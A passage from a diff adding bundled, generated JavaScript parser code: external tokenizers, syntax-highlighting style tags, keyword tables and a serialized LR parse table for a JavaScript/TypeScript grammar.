input.acceptToken(mayPostfix ? incdec : incdecPrefix); + } + } +}, { contextual: true }); +var template = new ExternalTokenizer((input) => { + for (let afterDollar = false, i = 0; ; i++) { + let { next } = input; + if (next < 0) { + if (i) + input.acceptToken(templateContent); + break; + } else if (next == backtick) { + if (i) + input.acceptToken(templateContent); + else + input.acceptToken(templateEnd, 1); + break; + } else if (next == braceL && afterDollar) { + if (i == 1) + input.acceptToken(InterpolationStart, 1); + else + input.acceptToken(templateContent, -1); + break; + } else if (next == 10 && i) { + input.advance(); + input.acceptToken(templateContent); + break; + } else if (next == backslash) { + input.advance(); + } + afterDollar = next == dollar; + input.advance(); + } +}); +var tsExtends = new ExternalTokenizer((input, stack) => { + if (input.next != 101 || !stack.dialectEnabled(Dialect_ts)) + return; + input.advance(); + for (let i = 0; i < 6; i++) { + if (input.next != "xtends".charCodeAt(i)) + return; + input.advance(); + } + if (input.next >= 57 && input.next <= 65 || input.next >= 48 && input.next <= 90 || input.next == 95 || input.next >= 97 && input.next <= 122 || input.next > 160) + return; + input.acceptToken(TSExtends); +}); +var jsHighlight = (0, import_highlight.styleTags)({ + "get set async static": import_highlight.tags.modifier, + "for while do if else switch try catch finally return throw break continue default case": import_highlight.tags.controlKeyword, + "in of await yield void typeof delete instanceof": import_highlight.tags.operatorKeyword, + "let var const function class extends": import_highlight.tags.definitionKeyword, + "import export from": import_highlight.tags.moduleKeyword, + "with debugger as new": import_highlight.tags.keyword, + TemplateString: import_highlight.tags.special(import_highlight.tags.string), + super: import_highlight.tags.atom, + BooleanLiteral: import_highlight.tags.bool, + this: import_highlight.tags.self, + null: import_highlight.tags.null, + Star: import_highlight.tags.modifier, + VariableName: import_highlight.tags.variableName, + "CallExpression/VariableName TaggedTemplateExpression/VariableName": import_highlight.tags.function(import_highlight.tags.variableName), + VariableDefinition: import_highlight.tags.definition(import_highlight.tags.variableName), + Label: import_highlight.tags.labelName, + PropertyName: import_highlight.tags.propertyName, + PrivatePropertyName: import_highlight.tags.special(import_highlight.tags.propertyName), + "CallExpression/MemberExpression/PropertyName": import_highlight.tags.function(import_highlight.tags.propertyName), + "FunctionDeclaration/VariableDefinition": import_highlight.tags.function(import_highlight.tags.definition(import_highlight.tags.variableName)), + "ClassDeclaration/VariableDefinition": import_highlight.tags.definition(import_highlight.tags.className), + PropertyDefinition: import_highlight.tags.definition(import_highlight.tags.propertyName), + PrivatePropertyDefinition: import_highlight.tags.definition(import_highlight.tags.special(import_highlight.tags.propertyName)), + UpdateOp: import_highlight.tags.updateOperator, + LineComment: import_highlight.tags.lineComment, + BlockComment: import_highlight.tags.blockComment, + Number: import_highlight.tags.number, + String: import_highlight.tags.string, + ArithOp: import_highlight.tags.arithmeticOperator, + LogicOp: import_highlight.tags.logicOperator, + BitOp: import_highlight.tags.bitwiseOperator, + CompareOp: import_highlight.tags.compareOperator, + RegExp: import_highlight.tags.regexp, + Equals: import_highlight.tags.definitionOperator, + Arrow: import_highlight.tags.function(import_highlight.tags.punctuation), + ": Spread": import_highlight.tags.punctuation, + "( )": import_highlight.tags.paren, + "[ ]": import_highlight.tags.squareBracket, + "{ }": import_highlight.tags.brace, + "InterpolationStart InterpolationEnd": import_highlight.tags.special(import_highlight.tags.brace), + ".": import_highlight.tags.derefOperator, + ", ;": import_highlight.tags.separator, + TypeName: import_highlight.tags.typeName, + TypeDefinition: import_highlight.tags.definition(import_highlight.tags.typeName), + "type enum interface implements namespace module declare": import_highlight.tags.definitionKeyword, + "abstract global Privacy readonly override": import_highlight.tags.modifier, + "is keyof unique infer": import_highlight.tags.operatorKeyword, + JSXAttributeValue: import_highlight.tags.attributeValue, + JSXText: import_highlight.tags.content, + "JSXStartTag JSXStartCloseTag JSXSelfCloseEndTag JSXEndTag": import_highlight.tags.angleBracket, + "JSXIdentifier JSXNameSpacedName": import_highlight.tags.tagName, + "JSXAttribute/JSXIdentifier JSXAttribute/JSXNameSpacedName": import_highlight.tags.attributeName +}); +var spec_identifier = { __proto__: null, export: 18, as: 23, from: 29, default: 32, async: 37, function: 38, this: 48, true: 56, false: 56, void: 66, typeof: 70, null: 86, super: 88, new: 122, await: 139, yield: 141, delete: 142, class: 152, extends: 154, public: 197, private: 197, protected: 197, readonly: 199, instanceof: 220, in: 222, const: 224, import: 256, keyof: 307, unique: 311, infer: 317, is: 351, abstract: 371, implements: 373, type: 375, let: 378, var: 380, interface: 387, enum: 391, namespace: 397, module: 399, declare: 403, global: 407, for: 428, of: 437, while: 440, with: 444, do: 448, if: 452, else: 454, switch: 458, case: 464, try: 470, catch: 474, finally: 478, return: 482, throw: 486, break: 490, continue: 494, debugger: 498 }; +var spec_word = { __proto__: null, async: 109, get: 111, set: 113, public: 161, private: 161, protected: 161, static: 163, abstract: 165, override: 167, readonly: 173, new: 355 }; +var spec_LessThan = { __proto__: null, "<": 129 }; +var parser = LRParser.deserialize({ + version: 14, + states: "$8SO`QdOOO'QQ(C|O'#ChO'XOWO'#DVO)dQdO'#D]O)tQdO'#DhO){QdO'#DrO-xQdO'#DxOOQO'#E]'#E]O.]Q`O'#E[O.bQ`O'#E[OOQ(C['#Ef'#EfO0aQ(C|O'#ItO2wQ(C|O'#IuO3eQ`O'#EzO3jQ!bO'#FaOOQ(C['#FS'#FSO3rO#tO'#FSO4QQ&jO'#FhO5bQ`O'#FgOOQ(C['#Iu'#IuOOQ(CW'#It'#ItOOQS'#J^'#J^O5gQ`O'#HpO5lQ(ChO'#HqOOQS'#Ih'#IhOOQS'#Hr'#HrQ`QdOOO){QdO'#DjO5tQ`O'#G[O5yQ&jO'#CmO6XQ`O'#EZO6dQ`O'#EgO6iQ,UO'#FRO7TQ`O'#G[O7YQ`O'#G`O7eQ`O'#G`O7sQ`O'#GcO7sQ`O'#GdO7sQ`O'#GfO5tQ`O'#GiO8dQ`O'#GlO9rQ`O'#CdO:SQ`O'#GyO:[Q`O'#HPO:[Q`O'#HRO`QdO'#HTO:[Q`O'#HVO:[Q`O'#HYO:aQ`O'#H`O:fQ(CjO'#HfO){QdO'#HhO:qQ(CjO'#HjO:|Q(CjO'#HlO5lQ(ChO'#HnO){QdO'#DWOOOW'#Ht'#HtO;XOWO,59qOOQ(C[,59q,59qO=jQtO'#ChO=tQdO'#HuO>XQ`O'#IvO@WQtO'#IvO'dQdO'#IvO@_Q`O,59wO@uQ7[O'#DbOAnQ`O'#E]OA{Q`O'#JROBWQ`O'#JQOBWQ`O'#JQOB`Q`O,5:yOBeQ`O'#JPOBlQaO'#DyO5yQ&jO'#EZOBzQ`O'#EZOCVQpO'#FROOQ(C[,5:S,5:SOC_QdO,5:SOE]Q(C|O,5:^OEyQ`O,5:dOFdQ(ChO'#JOO7YQ`O'#I}OFkQ`O'#I}OFsQ`O,5:xOFxQ`O'#I}OGWQdO,5:vOIWQ&jO'#EWOJeQ`O,5:vOKwQ&jO'#DlOLOQdO'#DqOLYQ7[O,5;PO){QdO,5;POOQS'#Er'#ErOOQS'#Et'#EtO){QdO,5;RO){QdO,5;RO){QdO,5;RO){QdO,5;RO){QdO,5;RO){QdO,5;RO){QdO,5;RO){QdO,5;RO){QdO,5;RO){QdO,5;RO){QdO,5;ROOQS'#Ex'#ExOLbQdO,5;cOOQ(C[,5;h,5;hOOQ(C[,5;i,5;iONbQ`O,5;iOOQ(C[,5;j,5;jO){QdO'#IPONgQ(ChO,5[OOQS'#Ik'#IkOOQS,5>],5>]OOQS-E;p-E;pO!+kQ(C|O,5:UOOQ(CX'#Cp'#CpO!,[Q&kO,5Q,5>QO){QdO,5>QO5lQ(ChO,5>SOOQS,5>U,5>UO!8cQ`O,5>UOOQS,5>W,5>WO!8cQ`O,5>WOOQS,5>Y,5>YO!8hQpO,59rOOOW-E;r-E;rOOQ(C[1G/]1G/]O!8mQtO,5>aO'dQdO,5>aOOQO,5>f,5>fO!8wQdO'#HuOOQO-E;s-E;sO!9UQ`O,5?bO!9^QtO,5?bO!9eQ`O,5?lOOQ(C[1G/c1G/cO!9mQ!bO'#DTOOQO'#Ix'#IxO){QdO'#IxO!:[Q!bO'#IxO!:yQ!bO'#DcO!;[Q7[O'#DcO!=gQdO'#DcO!=nQ`O'#IwO!=vQ`O,59|O!={Q`O'#EaO!>ZQ`O'#JSO!>cQ`O,5:zO!>yQ7[O'#DcO){QdO,5?mO!?TQ`O'#HzOOQO-E;x-E;xO!9eQ`O,5?lOOQ(CW1G0e1G0eO!@aQ7[O'#D|OOQ(C[,5:e,5:eO){QdO,5:eOIWQ&jO,5:eO!@hQaO,5:eO:aQ`O,5:uO!-OQ!bO,5:uO!-WQ&jO,5:uO5yQ&jO,5:uOOQ(C[1G/n1G/nOOQ(C[1G0O1G0OOOQ(CW'#EV'#EVO){QdO,5?jO!@sQ(ChO,5?jO!AUQ(ChO,5?jO!A]Q`O,5?iO!AeQ`O'#H|O!A]Q`O,5?iOOQ(CW1G0d1G0dO7YQ`O,5?iOOQ(C[1G0b1G0bO!BPQ(C|O1G0bO!CRQ(CyO,5:rOOQ(C]'#Fq'#FqO!CoQ(C}O'#IqOGWQdO1G0bO!EqQ,VO'#IyO!E{Q`O,5:WO!FQQtO'#IzO){QdO'#IzO!F[Q`O,5:]OOQ(C]'#DT'#DTOOQ(C[1G0k1G0kO!FaQ`O1G0kO!HrQ(C|O1G0mO!HyQ(C|O1G0mO!K^Q(C|O1G0mO!KeQ(C|O1G0mO!MlQ(C|O1G0mO!NPQ(C|O1G0mO#!pQ(C|O1G0mO#!wQ(C|O1G0mO#%[Q(C|O1G0mO#%cQ(C|O1G0mO#'WQ(C|O1G0mO#*QQMlO'#ChO#+{QMlO1G0}O#-vQMlO'#IuOOQ(C[1G1T1G1TO#.ZQ(C|O,5>kOOQ(CW-E;}-E;}O#.zQ(C}O1G0mOOQ(C[1G0m1G0mO#1PQ(C|O1G1QO#1pQ!bO,5;sO#1uQ!bO,5;tO#1zQ!bO'#F[O#2`Q`O'#FZOOQO'#JW'#JWOOQO'#H}'#H}O#2eQ!bO1G1]OOQ(C[1G1]1G1]OOOO1G1f1G1fO#2sQMlO'#ItO#2}Q`O,5;}OLbQdO,5;}OOOO-E;|-E;|OOQ(C[1G1Y1G1YOOQ(C[,5PQtO1G1VOOQ(C[1G1X1G1XO5tQ`O1G2}O#>WQ`O1G2}O#>]Q`O1G2}O#>bQ`O1G2}OOQS1G2}1G2}O#>gQ&kO1G2bO7YQ`O'#JQO7YQ`O'#EaO7YQ`O'#IWO#>xQ(ChO,5?yOOQS1G2f1G2fO!0VQ`O1G2lOIWQ&jO1G2iO#?TQ`O1G2iOOQS1G2j1G2jOIWQ&jO1G2jO#?YQaO1G2jO#?bQ7[O'#GhOOQS1G2l1G2lO!'VQ7[O'#IYO!0[QpO1G2oOOQS1G2o1G2oOOQS,5=Y,5=YO#?jQ&kO,5=[O5tQ`O,5=[O#6SQ`O,5=_O5bQ`O,5=_O!-OQ!bO,5=_O!-WQ&jO,5=_O5yQ&jO,5=_O#?{Q`O'#JaO#@WQ`O,5=`OOQS1G.j1G.jO#@]Q(ChO1G.jO#@hQ`O1G.jO#@mQ`O1G.jO5lQ(ChO1G.jO#@uQtO,5@OO#APQ`O,5@OO#A[QdO,5=gO#AcQ`O,5=gO7YQ`O,5@OOOQS1G3P1G3PO`QdO1G3POOQS1G3V1G3VOOQS1G3X1G3XO:[Q`O1G3ZO#AhQdO1G3]O#EcQdO'#H[OOQS1G3`1G3`O#EpQ`O'#HbO:aQ`O'#HdOOQS1G3f1G3fO#ExQdO1G3fO5lQ(ChO1G3lOOQS1G3n1G3nOOQ(CW'#Fx'#FxO5lQ(ChO1G3pO5lQ(ChO1G3rOOOW1G/^1G/^O#IvQpO,5aO#JYQ`O1G4|O#JbQ`O1G5WO#JjQ`O,5?dOLbQdO,5:{O7YQ`O,5:{O:aQ`O,59}OLbQdO,59}O!-OQ!bO,59}O#JoQMlO,59}OOQO,5:{,5:{O#JyQ7[O'#HvO#KaQ`O,5?cOOQ(C[1G/h1G/hO#KiQ7[O'#H{O#K}Q`O,5?nOOQ(CW1G0f1G0fO!;[Q7[O,59}O#LVQtO1G5XO7YQ`O,5>fOOQ(CW'#ES'#ESO#LaQ(DjO'#ETO!@XQ7[O'#D}OOQO'#Hy'#HyO#L{Q7[O,5:hOOQ(C[,5:h,5:hO#MSQ7[O'#D}O#MeQ7[O'#D}O#MlQ7[O'#EYO#MoQ7[O'#ETO#M|Q7[O'#ETO!@XQ7[O'#ETO#NaQ`O1G0PO#NfQqO1G0POOQ(C[1G0P1G0PO){QdO1G0POIWQ&jO1G0POOQ(C[1G0a1G0aO:aQ`O1G0aO!-OQ!bO1G0aO!-WQ&jO1G0aO#NmQ(C|O1G5UO){QdO1G5UO#N}Q(ChO1G5UO$ `Q`O1G5TO7YQ`O,5>hOOQO,5>h,5>hO$ hQ`O,5>hOOQO-E;z-E;zO$ `Q`O1G5TO$ vQ(C}O,59jO$#xQ(C}O,5m,5>mO$-rQ`O,5>mOOQ(C]1G2P1G2PP$-wQ`O'#IRPOQ(C]-Eo,5>oOOQO-Ep,5>pOOQO-Ex,5>xOOQO-E<[-E<[OOQ(C[7+&q7+&qO$6OQ`O7+(iO5lQ(ChO7+(iO5tQ`O7+(iO$6TQ`O7+(iO$6YQaO7+'|OOQ(CW,5>r,5>rOOQ(CW-Et,5>tOOQO-EO,5>OOOQS7+)Q7+)QOOQS7+)W7+)WOOQS7+)[7+)[OOQS7+)^7+)^OOQO1G5O1G5OO$:nQMlO1G0gO$:xQ`O1G0gOOQO1G/i1G/iO$;TQMlO1G/iO:aQ`O1G/iOLbQdO'#DcOOQO,5>b,5>bOOQO-E;t-E;tOOQO,5>g,5>gOOQO-E;y-E;yO!-OQ!bO1G/iO:aQ`O,5:iOOQO,5:o,5:oO){QdO,5:oO$;_Q(ChO,5:oO$;jQ(ChO,5:oO!-OQ!bO,5:iOOQO-E;w-E;wOOQ(C[1G0S1G0SO!@XQ7[O,5:iO$;xQ7[O,5:iO$PQ`O7+*oO$>XQ(C}O1G2[O$@^Q(C}O1G2^O$BcQ(C}O1G1yO$DnQ,VO,5>cOOQO-E;u-E;uO$DxQtO,5>dO){QdO,5>dOOQO-E;v-E;vO$ESQ`O1G5QO$E[QMlO1G0bO$GcQMlO1G0mO$GjQMlO1G0mO$IkQMlO1G0mO$IrQMlO1G0mO$KgQMlO1G0mO$KzQMlO1G0mO$NXQMlO1G0mO$N`QMlO1G0mO%!aQMlO1G0mO%!hQMlO1G0mO%$]QMlO1G0mO%$pQ(C|O<kOOOO7+'T7+'TOOOW1G/R1G/ROOQ(C]1G4X1G4XOJjQ&jO7+'zO%*VQ`O,5>lO5tQ`O,5>lOOQO-EnO%+dQ`O,5>nOIWQ&jO,5>nOOQO-Ew,5>wO%.vQ`O,5>wO%.{Q`O,5>wOOQO-EvOOQO-EqOOQO-EsOOQO-E{AN>{OOQOAN>uAN>uO%3rQ(C|OAN>{O:aQ`OAN>uO){QdOAN>{O!-OQ!bOAN>uO&)wQ(ChOAN>{O&*SQ(C}OG26lOOQ(CWG26bG26bOOQS!$( t!$( tOOQO<QQ`O'#E[O&>YQ`O'#EzO&>_Q`O'#EgO&>dQ`O'#JRO&>oQ`O'#JPO&>zQ`O,5:vO&?PQ,VO,5aO!O&PO~Ox&SO!W&^O!X&VO!Y&VO'^$dO~O]&TOk&TO!Q&WO'g&QO!S'kP!S'vP~P@dO!O'sX!R'sX!]'sX!c'sX'p'sX~O!{'sX#W#PX!S'sX~PA]O!{&_O!O'uX!R'uX~O!R&`O!O'tX~O!O&cO~O!{#eO~PA]OP&gO!T&dO!o&fO']$bO~Oc&lO!d$ZO']$bO~Ou$oO!d$nO~O!S&mO~P`Ou!{Ov!{Ox!|O!b!yO!d!zO'fQOQ!faZ!faj!fa!R!fa!a!fa!j!fa#[!fa#]!fa#^!fa#_!fa#`!fa#a!fa#b!fa#c!fa#e!fa#g!fa#i!fa#j!fa'p!fa'w!fa'x!fa~O_!fa'W!fa!O!fa!c!fan!fa!T!fa%Q!fa!]!fa~PCfO!c&nO~O!]!wO!{&pO'p&oO!R'rX_'rX'W'rX~O!c'rX~PFOO!R&tO!c'qX~O!c&vO~Ox$uO!T$vO#V&wO']$bO~OQTORTO]cOb!kOc!jOhcOjTOkcOlcOqTOsTOxRO{cO|cO}cO!TSO!_kO!dUO!gTO!hTO!iTO!jTO!kTO!n!iO#t!lO#x^O']9aO'fQO'oYO'|aO~O]#qOh$QOj#rOk#qOl#qOq$ROs9tOx#yO!T#zO!_;eO!d#vO#V9}O#t$VO$_9wO$a9zO$d$WO']&{O'b$PO'f#sO~O#W&}O~O]#qOh$QOj#rOk#qOl#qOq$ROs$SOx#yO!T#zO!_$XO!d#vO#V$YO#t$VO$_$TO$a$UO$d$WO']&{O'b$PO'f#sO~O'a'mP~PJjO!Q'RO!c'nP~P){O'g'TO'oYO~OQ9^OR9^O]cOb;`Oc!jOhcOj9^OkcOlcOq9^Os9^OxRO{cO|cO}cO!T!bO!_9`O!dUO!g9^O!h9^O!i9^O!j9^O!k9^O!n!iO#t!lO#x^O']'cO'fQO'oYO'|;^O~O!d!zO~O!R#bO_$]a'W$]a!c$]a!O$]a!T$]a%Q$]a!]$]a~O#d'jO~PIWO!]'lO!T'yX#w'yX#z'yX$R'yX~Ou'mO~P! YOu'mO!T'yX#w'yX#z'yX$R'yX~O!T'oO#w'sO#z'nO$R'tO~O!Q'wO~PLbO#z#fO$R'zO~OP$eXu$eXx$eX!b$eX'w$eX'x$eX~OPfX!RfX!{fX'afX'a$eX~P!!rOk'|O~OS'}O'U(OO'V(QO~OP(ZOu(SOx(TO'w(VO'x(XO~O'a(RO~P!#{O'a([O~O]#qOh$QOj#rOk#qOl#qOq$ROs9tOx#yO!T#zO!_;eO!d#vO#V9}O#t$VO$_9wO$a9zO$d$WO'b$PO'f#sO~O!Q(`O'](]O!c'}P~P!$jO#W(bO~O!d(cO~O!Q(hO'](eO!O(OP~P!$jOj(uOx(mO!W(sO!X(lO!Y(lO!d(cO!x(tO$w(oO'^$dO'g(jO~O!S(rO~P!&jO!b!yOP'eXu'eXx'eX'w'eX'x'eX!R'eX!{'eX~O'a'eX#m'eX~P!'cOP(xO!{(wO!R'dX'a'dX~O!R(yO'a'cX~O']${O'a'cP~O'](|O~O!d)RO~O']&{O~Ox$uO!Q!rO!T$vO#U!uO#V!rO']$bO!c'qP~O!]!wO#W)VO~OQ#^OZ#dOj#ROu!{Ov!{Ox!|O!a#TO!b!yO!d!zO!j#^O#[#PO#]#QO#^#QO#_#QO#`#SO#a#TO#b#TO#c#TO#e#UO#g#WO#i#YO#j#ZO'fQO'p#[O'w!}O'x#OO~O_!^a!R!^a'W!^a!O!^a!c!^an!^a!T!^a%Q!^a!]!^a~P!)wOP)_O!T&dO!o)^O%Q)]O'b$PO~O!])aO!T'`X_'`X!R'`X'W'`X~O!d$ZO'b$PO~O!d$ZO']$bO'b$PO~O!]!wO#W&}O~O])lO%R)mO'])iO!S(VP~O!R)nO^(UX~O'g'TO~OZ)rO~O^)sO~O!T$lO']$bO'^$dO^(UP~Ox$uO!Q)xO!R&`O!T$vO']$bO!O'tP~O]&ZOk&ZO!Q)yO'g'TO!S'vP~O!R)zO_(RX'W(RX~O!{*OO'b$PO~OP*RO!T#zO'b$PO~O!T*TO~Ou*VO!TSO~O!n*[O~Oc*aO~O'](|O!S(TP~Oc$jO~O%RtO']${O~P8wOZ*gO^*fO~OQTORTO]cObnOcmOhcOjTOkcOlcOqTOsTOxRO{cO|cO}cO!_kO!dUO!gTO!hTO!iTO!jTO!kTO!nlO#x^O%PqO'fQO'oYO'|aO~O!T!bO#t!lO']9aO~P!1_O^*fO_$^O'W$^O~O_*kO#d*mO%T*mO%U*mO~P){O!d%`O~O%t*rO~O!T*tO~O&V*vO&X*wOQ&SaR&SaX&Sa]&Sa_&Sab&Sac&Sah&Saj&Sak&Sal&Saq&Sas&Sax&Sa{&Sa|&Sa}&Sa!T&Sa!_&Sa!d&Sa!g&Sa!h&Sa!i&Sa!j&Sa!k&Sa!n&Sa#d&Sa#t&Sa#x&Sa%P&Sa%R&Sa%T&Sa%U&Sa%X&Sa%Z&Sa%^&Sa%_&Sa%a&Sa%n&Sa%t&Sa%v&Sa%x&Sa%z&Sa%}&Sa&T&Sa&Z&Sa&]&Sa&_&Sa&a&Sa&c&Sa'S&Sa']&Sa'f&Sa'o&Sa'|&Sa!S&Sa%{&Sa`&Sa&Q&Sa~O']*|O~On+PO~O!O&ia!R&ia~P!)wO!Q+TO!O&iX!R&iX~P){O!R%zO!O'ja~O!O'ja~P>aO!R&`O!O'ta~O!RwX!R!ZX!SwX!S!ZX!]wX!]!ZX!d!ZX!{wX'b!ZX~O!]+YO!{+XO!R#TX!R'lX!S#TX!S'lX!]'lX!d'lX'b'lX~O!]+[O!d$ZO'b$PO!R!VX!S!VX~O]&ROk&ROx&SO'g(jO~OQ9^OR9^O]cOb;`Oc!jOhcOj9^OkcOlcOq9^Os9^OxRO{cO|cO}cO!T!bO!_9`O!dUO!g9^O!h9^O!i9^O!j9^O!k9^O!n!iO#t!lO#x^O'fQO'oYO'|;^O~O']:SO~P!;jO!R+`O!S'kX~O!S+bO~O!]+YO!{+XO!R#TX!S#TX~O!R+cO!S'vX~O!S+eO~O]&ROk&ROx&SO'^$dO'g(jO~O!X+fO!Y+fO~P!>hOx$uO!Q+hO!T$vO']$bO!O&nX!R&nX~O_+lO!W+oO!X+kO!Y+kO!r+sO!s+qO!t+rO!u+pO!x+tO'^$dO'g(jO'o+iO~O!S+nO~P!?iOP+yO!T&dO!o+xO~O!{,PO!R'ra!c'ra_'ra'W'ra~O!]!wO~P!@sO!R&tO!c'qa~Ox$uO!Q,SO!T$vO#U,UO#V,SO']$bO!R&pX!c&pX~O_#Oi!R#Oi'W#Oi!O#Oi!c#Oin#Oi!T#Oi%Q#Oi!]#Oi~P!)wOP;tOu(SOx(TO'w(VO'x(XO~O#W!za!R!za!c!za!{!za!T!za_!za'W!za!O!za~P!BpO#W'eXQ'eXZ'eX_'eXj'eXv'eX!a'eX!d'eX!j'eX#['eX#]'eX#^'eX#_'eX#`'eX#a'eX#b'eX#c'eX#e'eX#g'eX#i'eX#j'eX'W'eX'f'eX'p'eX!c'eX!O'eX!T'eXn'eX%Q'eX!]'eX~P!'cO!R,_O'a'mX~P!#{O'a,aO~O!R,bO!c'nX~P!)wO!c,eO~O!O,fO~OQ#^Ou!{Ov!{Ox!|O!b!yO!d!zO!j#^O'fQOZ#Zi_#Zij#Zi!R#Zi!a#Zi#]#Zi#^#Zi#_#Zi#`#Zi#a#Zi#b#Zi#c#Zi#e#Zi#g#Zi#i#Zi#j#Zi'W#Zi'p#Zi'w#Zi'x#Zi!O#Zi!c#Zin#Zi!T#Zi%Q#Zi!]#Zi~O#[#Zi~P!FfO#[#PO~P!FfOQ#^Ou!{Ov!{Ox!|O!b!yO!d!zO!j#^O#[#PO#]#QO#^#QO#_#QO'fQOZ#Zi_#Zi!R#Zi!a#Zi#`#Zi#a#Zi#b#Zi#c#Zi#e#Zi#g#Zi#i#Zi#j#Zi'W#Zi'p#Zi'w#Zi'x#Zi!O#Zi!c#Zin#Zi!T#Zi%Q#Zi!]#Zi~Oj#Zi~P!IQOj#RO~P!IQOQ#^Oj#ROu!{Ov!{Ox!|O!b!yO!d!zO!j#^O#[#PO#]#QO#^#QO#_#QO#`#SO'fQO_#Zi!R#Zi#e#Zi#g#Zi#i#Zi#j#Zi'W#Zi'p#Zi'w#Zi'x#Zi!O#Zi!c#Zin#Zi!T#Zi%Q#Zi!]#Zi~OZ#Zi!a#Zi#a#Zi#b#Zi#c#Zi~P!KlOZ#dO!a#TO#a#TO#b#TO#c#TO~P!KlOQ#^OZ#dOj#ROu!{Ov!{Ox!|O!a#TO!b!yO!d!zO!j#^O#[#PO#]#QO#^#QO#_#QO#`#SO#a#TO#b#TO#c#TO#e#UO'fQO_#Zi!R#Zi#g#Zi#i#Zi#j#Zi'W#Zi'p#Zi'x#Zi!O#Zi!c#Zin#Zi!T#Zi%Q#Zi!]#Zi~O'w#Zi~P!NdO'w!}O~P!NdOQ#^OZ#dOj#ROu!{Ov!{Ox!|O!a#TO!b!yO!d!zO!j#^O#[#PO#]#QO#^#QO#_#QO#`#SO#a#TO#b#TO#c#TO#e#UO#g#WO'fQO'w!}O_#Zi!R#Zi#i#Zi#j#Zi'W#Zi'p#Zi!O#Zi!c#Zin#Zi!T#Zi%Q#Zi!]#Zi~O'x#Zi~P##OO'x#OO~P##OOQ#^OZ#dOj#ROu!{Ov!{Ox!|O!a#TO!b!yO!d!zO!j#^O#[#PO#]#QO#^#QO#_#QO#`#SO#a#TO#b#TO#c#TO#e#UO#g#WO#i#YO'fQO'w!}O'x#OO~O_#Zi!R#Zi#j#Zi'W#Zi'p#Zi!O#Zi!c#Zin#Zi!T#Zi%Q#Zi!]#Zi~P#%jOQ[XZ[Xj[Xu[Xv[Xx[X!a[X!b[X!d[X!j[X!{[X#WdX#[[X#][X#^[X#_[X#`[X#a[X#b[X#c[X#e[X#g[X#i[X#j[X#o[X'f[X'p[X'w[X'x[X!R[X!S[X~O#m[X~P#'}OQ#^OZ9rOj9gOu!{Ov!{Ox!|O!a9iO!b!yO!d!zO!j#^O#[9eO#]9fO#^9fO#_9fO#`9hO#a9iO#b9iO#c9iO#e9jO#g9lO#i9nO#j9oO'fQO'p#[O'w!}O'x#OO~O#m,hO~P#*XOQ'iXZ'iXj'iXu'iXv'iXx'iX!a'iX!b'iX!d'iX!j'iX#['iX#]'iX#^'iX#_'iX#`'iX#a'iX#b'iX#e'iX#g'iX#i'iX#j'iX'f'iX'p'iX'w'iX'x'iX!R'iX~O!{9sO#o9sO#c'iX#m'iX!S'iX~P#,SO_&sa!R&sa'W&sa!c&san&sa!O&sa!T&sa%Q&sa!]&sa~P!)wOQ#ZiZ#Zi_#Zij#Ziv#Zi!R#Zi!a#Zi!b#Zi!d#Zi!j#Zi#[#Zi#]#Zi#^#Zi#_#Zi#`#Zi#a#Zi#b#Zi#c#Zi#e#Zi#g#Zi#i#Zi#j#Zi'W#Zi'f#Zi'p#Zi!O#Zi!c#Zin#Zi!T#Zi%Q#Zi!]#Zi~P!BpO_#ni!R#ni'W#ni!O#ni!c#nin#ni!T#ni%Q#ni!]#ni~P!)wO#z,jO~O#z,kO~O!]'lO!{,lO!T$OX#w$OX#z$OX$R$OX~O!Q,mO~O!T'oO#w,oO#z'nO$R,pO~O!R9pO!S'hX~P#*XO!S,qO~O$R,sO~OS'}O'U(OO'V,vO~O],yOk,yO!O,zO~O!RdX!]dX!cdX!c$eX'pdX~P!!rO!c-QO~P!BpO!R-RO!]!wO'p&oO!c'}X~O!c-WO~O!Q(`O']$bO!c'}P~O#W-YO~O!O$eX!R$eX!]$lX~P!!rO!R-ZO!O(OX~P!BpO!]-]O~O!O-_O~Oj-cO!]!wO!d$ZO'b$PO'p&oO~O!])aO~O_$^O!R-hO'W$^O~O!S-jO~P!&jO!X-kO!Y-kO'^$dO'g(jO~Ox-mO'g(jO~O!x-nO~O']${O!R&xX'a&xX~O!R(yO'a'ca~O'a-sO~Ou-tOv-tOx-uOPra'wra'xra!Rra!{ra~O'ara#mra~P#7pOu(SOx(TOP$^a'w$^a'x$^a!R$^a!{$^a~O'a$^a#m$^a~P#8fOu(SOx(TOP$`a'w$`a'x$`a!R$`a!{$`a~O'a$`a#m$`a~P#9XO]-vO~O#W-wO~O'a$na!R$na!{$na#m$na~P!#{O#W-zO~OP.TO!T&dO!o.SO%Q.RO~O]#qOj#rOk#qOl#qOq$ROs9tOx#yO!T#zO!_;eO!d#vO#V9}O#t$VO$_9wO$a9zO$d$WO'b$PO'f#sO~Oh.VO'].UO~P#:yO!])aO!T'`a_'`a!R'`a'W'`a~O#W.]O~OZ[X!RdX!SdX~O!R.^O!S(VX~O!S.`O~OZ.aO~O].cO'])iO~O!T$lO']$bO^'QX!R'QX~O!R)nO^(Ua~O!c.fO~P!)wO].hO~OZ.iO~O^.jO~OP.TO!T&dO!o.SO%Q.RO'b$PO~O!R)zO_(Ra'W(Ra~O!{.pO~OP.sO!T#zO~O'g'TO!S(SP~OP.}O!T.yO!o.|O%Q.{O'b$PO~OZ/XO!R/VO!S(TX~O!S/YO~O^/[O_$^O'W$^O~O]/]O~O]/^O'](|O~O#c/_O%r/`O~P0zO!{#eO#c/_O%r/`O~O_/aO~P){O_/cO~O%{/gOQ%yiR%yiX%yi]%yi_%yib%yic%yih%yij%yik%yil%yiq%yis%yix%yi{%yi|%yi}%yi!T%yi!_%yi!d%yi!g%yi!h%yi!i%yi!j%yi!k%yi!n%yi#d%yi#t%yi#x%yi%P%yi%R%yi%T%yi%U%yi%X%yi%Z%yi%^%yi%_%yi%a%yi%n%yi%t%yi%v%yi%x%yi%z%yi%}%yi&T%yi&Z%yi&]%yi&_%yi&a%yi&c%yi'S%yi']%yi'f%yi'o%yi'|%yi!S%yi`%yi&Q%yi~O`/mO!S/kO&Q/lO~P`O!TSO!d/oO~O&X*wOQ&SiR&SiX&Si]&Si_&Sib&Sic&Sih&Sij&Sik&Sil&Siq&Sis&Six&Si{&Si|&Si}&Si!T&Si!_&Si!d&Si!g&Si!h&Si!i&Si!j&Si!k&Si!n&Si#d&Si#t&Si#x&Si%P&Si%R&Si%T&Si%U&Si%X&Si%Z&Si%^&Si%_&Si%a&Si%n&Si%t&Si%v&Si%x&Si%z&Si%}&Si&T&Si&Z&Si&]&Si&_&Si&a&Si&c&Si'S&Si']&Si'f&Si'o&Si'|&Si!S&Si%{&Si`&Si&Q&Si~O!R#bOn$]a~O!O&ii!R&ii~P!)wO!R%zO!O'ji~O!R&`O!O'ti~O!O/uO~O!R!Va!S!